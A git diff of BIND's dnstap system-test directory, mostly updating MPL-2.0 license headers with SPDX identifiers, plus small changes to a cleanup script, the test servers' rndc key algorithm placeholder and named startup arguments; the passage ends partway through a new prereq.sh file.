diff --git a/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-max.conf b/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-max.conf
index aac8dd929f..05ab1d97b6 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-max.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-max.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-min.conf b/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-min.conf
index 9bca0c11d6..398b1abdf1 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-min.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-flush-timeout-min.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-max.conf b/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-max.conf
index d04a1b07a3..d6c4120579 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-max.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-max.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-min.conf b/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-min.conf
index 35f8cf7b62..787f656275 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-min.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-min.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-po2.conf b/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-po2.conf
index a82c42cf23..ae713d3aec 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-po2.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-input-queue-size-po2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-output-notify-threshold.conf b/bin/tests/system/dnstap/bad-fstrm-set-output-notify-threshold.conf
index 264dce8967..643e2b84e9 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-output-notify-threshold.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-output-notify-threshold.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-max.conf b/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-max.conf
index a250f50ec8..853713fe76 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-max.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-max.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-min.conf b/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-min.conf
index ea6852a151..7940c89f54 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-min.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-output-queue-size-min.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-max.conf b/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-max.conf
index e602bfc20c..9cfa9e3538 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-max.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-max.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-min.conf b/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-min.conf
index acd1d7ea62..be6a640c65 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-min.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-reopen-interval-min.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-missing-dnstap-output-view.conf b/bin/tests/system/dnstap/bad-missing-dnstap-output-view.conf
index 4864fb0def..853da36d0c 100644
--- a/bin/tests/system/dnstap/bad-missing-dnstap-output-view.conf
+++ b/bin/tests/system/dnstap/bad-missing-dnstap-output-view.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 view "view" {
 	dnstap { client; auth; };
 };
diff --git a/bin/tests/system/dnstap/bad-missing-dnstap-output.conf b/bin/tests/system/dnstap/bad-missing-dnstap-output.conf
index 822e4e6b19..b5565e2065 100644
--- a/bin/tests/system/dnstap/bad-missing-dnstap-output.conf
+++ b/bin/tests/system/dnstap/bad-missing-dnstap-output.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dnstap { client; auth; };
 	recursion yes;
diff --git a/bin/tests/system/dnstap/bad-size-version.conf b/bin/tests/system/dnstap/bad-size-version.conf
index 41d32ef154..8e31528cf7 100644
--- a/bin/tests/system/dnstap/bad-size-version.conf
+++ b/bin/tests/system/dnstap/bad-size-version.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/clean.sh b/bin/tests/system/dnstap/clean.sh
index 424568657e..b9e476f661 100644
--- a/bin/tests/system/dnstap/clean.sh
+++ b/bin/tests/system/dnstap/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,9 +17,8 @@ rm -f */named.run
 rm -f */named.run.prev
 rm -f */named.stats
 rm -f dig.out*
-rm -f dnstap.out dnstap.hex
-rm -f dnstap.out.save
-rm -f fstrm_capture.out
+rm -f dnstap.*
+rm -f fstrm_capture.out.*
 rm -f ns*/dnstap.out
 rm -f ns*/dnstap.out.save
 rm -f ns*/dnstap.out.save.?
diff --git a/bin/tests/system/dnstap/good-dnstap-in-options.conf b/bin/tests/system/dnstap/good-dnstap-in-options.conf
index f7d55f7bf0..17feb5eb58 100644
--- a/bin/tests/system/dnstap/good-dnstap-in-options.conf
+++ b/bin/tests/system/dnstap/good-dnstap-in-options.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dnstap-output		unix "/var/run/named/dnstap.sock";
 	dnstap-identity		hostname;
diff --git a/bin/tests/system/dnstap/good-dnstap-in-view.conf b/bin/tests/system/dnstap/good-dnstap-in-view.conf
index 61a446b2db..2c17f6c5e4 100644
--- a/bin/tests/system/dnstap/good-dnstap-in-view.conf
+++ b/bin/tests/system/dnstap/good-dnstap-in-view.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dnstap-output		unix "/var/run/named/dnstap.sock";
 	dnstap-identity		hostname;
diff --git a/bin/tests/system/dnstap/good-fstrm-reopen-interval.conf b/bin/tests/system/dnstap/good-fstrm-reopen-interval.conf
index 5e63a59606..d52526227b 100644
--- a/bin/tests/system/dnstap/good-fstrm-reopen-interval.conf
+++ b/bin/tests/system/dnstap/good-fstrm-reopen-interval.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-buffer-hint.conf b/bin/tests/system/dnstap/good-fstrm-set-buffer-hint.conf
index abaaa73c4a..c550647203 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-buffer-hint.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-buffer-hint.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-flush-timeout.conf b/bin/tests/system/dnstap/good-fstrm-set-flush-timeout.conf
index dbc9364e6b..dd9abf0ced 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-flush-timeout.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-flush-timeout.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-input-queue-size.conf b/bin/tests/system/dnstap/good-fstrm-set-input-queue-size.conf
index 1c3b5ef5ce..d01b8f880c 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-input-queue-size.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-input-queue-size.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-output-notify-threshold.conf b/bin/tests/system/dnstap/good-fstrm-set-output-notify-threshold.conf
index e18ec38f74..2619dc01d8 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-output-notify-threshold.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-output-notify-threshold.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-mpsc.conf b/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-mpsc.conf
index 05ad706dfb..a81ff7cb63 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-mpsc.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-mpsc.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-spsc.conf b/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-spsc.conf
index ef735a67d7..7b394ebb6d 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-spsc.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-output-queue-model-spsc.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-output-queue-size.conf b/bin/tests/system/dnstap/good-fstrm-set-output-queue-size.conf
index 9f93bb6848..87bf028d60 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-output-queue-size.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-output-queue-size.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-fstrm-set-reopen-interval.conf b/bin/tests/system/dnstap/good-fstrm-set-reopen-interval.conf
index fe6462b022..116d3ae8b7 100644
--- a/bin/tests/system/dnstap/good-fstrm-set-reopen-interval.conf
+++ b/bin/tests/system/dnstap/good-fstrm-set-reopen-interval.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-size-unlimited.conf b/bin/tests/system/dnstap/good-size-unlimited.conf
index c37a0b8ffc..8cb971298f 100644
--- a/bin/tests/system/dnstap/good-size-unlimited.conf
+++ b/bin/tests/system/dnstap/good-size-unlimited.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/good-size-version.conf b/bin/tests/system/dnstap/good-size-version.conf
index b3e127bb0d..ca1fba3594 100644
--- a/bin/tests/system/dnstap/good-size-version.conf
+++ b/bin/tests/system/dnstap/good-size-version.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/ns1/named.conf.in b/bin/tests/system/dnstap/ns1/named.conf.in
index 4e58a855a4..7f3fb296d7 100644
--- a/bin/tests/system/dnstap/ns1/named.conf.in
+++ b/bin/tests/system/dnstap/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -32,7 +34,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnstap/ns1/root.db b/bin/tests/system/dnstap/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/dnstap/ns1/root.db
+++ b/bin/tests/system/dnstap/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/ns2/example.db.in b/bin/tests/system/dnstap/ns2/example.db.in
index 4073dc2682..7f88dec354 100644
--- a/bin/tests/system/dnstap/ns2/example.db.in
+++ b/bin/tests/system/dnstap/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/ns2/named.conf.in b/bin/tests/system/dnstap/ns2/named.conf.in
index 9ea4629182..badc2257bb 100644
--- a/bin/tests/system/dnstap/ns2/named.conf.in
+++ b/bin/tests/system/dnstap/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -32,7 +34,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnstap/ns3/named.args b/bin/tests/system/dnstap/ns3/named.args
index fb42af211a..7937dee5fb 100644
--- a/bin/tests/system/dnstap/ns3/named.args
+++ b/bin/tests/system/dnstap/ns3/named.args
@@ -1,2 +1,2 @@
 # Using "-n 1" allows GL #1795 to be reliably reproduced
--D dnstap-ns3 -X named.lock -m record,size,mctx -c named.conf -d 99 -g -U 4 -n 1 -T maxcachesize=2097152
+-D dnstap-ns3 -X named.lock -m record -c named.conf -d 99 -g -U 4 -n 1 -T maxcachesize=2097152
diff --git a/bin/tests/system/dnstap/ns3/named.conf.in b/bin/tests/system/dnstap/ns3/named.conf.in
index e1920cadd0..a5ee2ede8b 100644
--- a/bin/tests/system/dnstap/ns3/named.conf.in
+++ b/bin/tests/system/dnstap/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -35,7 +37,7 @@ server 10.53.0.1 { tcp-only yes; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnstap/ns4/named.conf.in b/bin/tests/system/dnstap/ns4/named.conf.in
index 2b572f7b9d..e2a9207d1f 100644
--- a/bin/tests/system/dnstap/ns4/named.conf.in
+++ b/bin/tests/system/dnstap/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -34,7 +36,7 @@ server 10.53.0.1 { tcp-only yes; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnstap/prereq.sh b/bin/tests/system/dnstap/prereq.sh
new file mode 100644
index 0000000000..f0748f3bf3
--- /dev/null
+++ b/bin/tests/system/dnstap/prereq.sh
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
